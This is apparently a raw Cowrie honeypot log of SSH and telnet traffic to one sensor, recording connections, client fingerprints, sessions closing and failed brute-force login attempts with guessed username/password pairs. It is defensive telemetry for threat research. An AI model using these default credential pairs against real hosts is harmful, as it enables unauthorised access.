istp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:39.417591Z","src_ip":"217.154.192.185","session":"4bc04e297066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"test","message":"login attempt [sftpuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:39.851773Z","src_ip":"217.154.192.185","session":"4bc04e297066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:40.954820Z","src_ip":"217.154.192.185","session":"4bc04e297066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00129580497742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:42.754323Z","src_ip":"146.120.225.17","session":"99abfc14fed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.48058605194092,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:43.154019Z","src_ip":"5.61.90.139","session":"f99b343ef080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.120.225.17","src_port":46618,"dst_ip":"10.17.0.5","dst_port":23,"session":"585fcbe3a116","protocol":"telnet","message":"New connection: 146.120.225.17:46618 (10.17.0.5:23) [session: 585fcbe3a116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:43.799106Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43988,"dst_ip":"159.203.135.109","dst_port":22,"session":"94ef5ae11662","protocol":"ssh","message":"New connection: 159.203.92.129:43988 (159.203.135.109:22) [session: 94ef5ae11662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:44.222359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:44.227609Z","src_ip":"159.203.92.129","session":"94ef5ae11662","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:44.232210Z","src_ip":"159.203.92.129","session":"94ef5ae11662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitpm","password":"aitpm","message":"login attempt [aitpm/aitpm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:44.247555Z","src_ip":"159.203.92.129","session":"94ef5ae11662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:45.261286Z","src_ip":"159.203.92.129","session":"94ef5ae11662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7313b7771e3c","protocol":"telnet","message":"New connection: 5.61.90.139:60688 (10.17.0.5:23) [session: 7313b7771e3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:53.696450Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60690,"dst_ip":"10.17.0.5","dst_port":23,"session":"302504a6bace","protocol":"telnet","message":"New connection: 5.61.90.139:60690 (10.17.0.5:23) [session: 302504a6bace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:53.711223Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60692,"dst_ip":"10.17.0.5","dst_port":23,"session":"6740af4ca903","protocol":"telnet","message":"New connection: 5.61.90.139:60692 (10.17.0.5:23) [session: 6740af4ca903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:54.902312Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60698,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a6de9aea8c6","protocol":"telnet","message":"New connection: 5.61.90.139:60698 (10.17.0.5:23) [session: 6a6de9aea8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:55.751482Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60696,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bffd619504a","protocol":"telnet","message":"New connection: 5.61.90.139:60696 (10.17.0.5:23) [session: 7bffd619504a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:56.072333Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60700,"dst_ip":"10.17.0.5","dst_port":23,"session":"bddcac7c55ef","protocol":"telnet","message":"New connection: 5.61.90.139:60700 (10.17.0.5:23) [session: bddcac7c55ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:59.496658Z"}
{"eventid":"cowrie.session.closed","duration":37.65108513832092,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:59.835663Z","src_ip":"5.61.90.139","session":"5fc47526c276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60702,"dst_ip":"10.17.0.5","dst_port":23,"session":"128093efb7a0","protocol":"telnet","message":"New connection: 5.61.90.139:60702 (10.17.0.5:23) [session: 128093efb7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:53:59.907299Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60704,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64acf0a2527","protocol":"telnet","message":"New connection: 5.61.90.139:60704 (10.17.0.5:23) [session: f64acf0a2527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:00.574119Z"}
{"eventid":"cowrie.session.closed","duration":38.90270471572876,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:01.259810Z","src_ip":"5.61.90.139","session":"97dbcb8e67cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":56166,"dst_ip":"159.203.135.109","dst_port":22,"session":"794086bc6ccd","protocol":"ssh","message":"New connection: 91.134.240.52:56166 (159.203.135.109:22) [session: 794086bc6ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:03.640255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:03.644727Z","src_ip":"91.134.240.52","session":"794086bc6ccd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:03.732456Z","src_ip":"91.134.240.52","session":"794086bc6ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1!","message":"login attempt [user/user1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:04.064565Z","src_ip":"91.134.240.52","session":"794086bc6ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:05.147326Z","src_ip":"91.134.240.52","session":"794086bc6ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":38766,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a105a4614f1","protocol":"ssh","message":"New connection: 80.253.31.232:38766 (159.203.135.109:22) [session: 8a105a4614f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:07.460737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:07.466563Z","src_ip":"80.253.31.232","session":"8a105a4614f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:07.589090Z","src_ip":"80.253.31.232","session":"8a105a4614f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0123456789","message":"login attempt [ubuntu/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:08.110234Z","src_ip":"80.253.31.232","session":"8a105a4614f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:09.234803Z","src_ip":"80.253.31.232","session":"8a105a4614f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51598,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a74447f8a3","protocol":"ssh","message":"New connection: 159.203.92.129:51598 (159.203.135.109:22) [session: 06a74447f8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:26.067181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:26.071542Z","src_ip":"159.203.92.129","session":"06a74447f8a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:26.075649Z","src_ip":"159.203.92.129","session":"06a74447f8a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aivms5","password":"aivms5","message":"login attempt [aivms5/aivms5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:26.089121Z","src_ip":"159.203.92.129","session":"06a74447f8a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:27.095145Z","src_ip":"159.203.92.129","session":"06a74447f8a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":56694,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b3395224e6b","protocol":"ssh","message":"New connection: 217.154.192.185:56694 (159.203.135.109:22) [session: 8b3395224e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:29.426834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:29.431013Z","src_ip":"217.154.192.185","session":"8b3395224e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:29.524268Z","src_ip":"217.154.192.185","session":"8b3395224e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:29.928123Z","src_ip":"217.154.192.185","session":"8b3395224e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:31.023880Z","src_ip":"217.154.192.185","session":"8b3395224e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.7676956653595,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:32.478780Z","src_ip":"5.61.90.139","session":"302504a6bace","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.115180253982544,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:32.811519Z","src_ip":"5.61.90.139","session":"7313b7771e3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.75303387641907,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:33.655198Z","src_ip":"5.61.90.139","session":"6740af4ca903","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.06591296195984,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:35.138081Z","src_ip":"5.61.90.139","session":"7bffd619504a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.21963167190552,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:35.970984Z","src_ip":"5.61.90.139","session":"6a6de9aea8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.54474759101868,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:40.451933Z","src_ip":"5.61.90.139","session":"128093efb7a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.914438247680664,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:40.488432Z","src_ip":"5.61.90.139","session":"f64acf0a2527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.63526630401611,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:43.131799Z","src_ip":"5.61.90.139","session":"bddcac7c55ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60706,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a1e7ab2f7a","protocol":"telnet","message":"New connection: 5.61.90.139:60706 (10.17.0.5:23) [session: a5a1e7ab2f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:53.743831Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":60822,"dst_ip":"159.203.135.109","dst_port":22,"session":"4420563f266e","protocol":"ssh","message":"New connection: 80.253.31.232:60822 (159.203.135.109:22) [session: 4420563f266e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:53.854174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:54:53.859579Z","src_ip":"80.253.31.232","session":"4420563f266e","protocol":"ssh"}
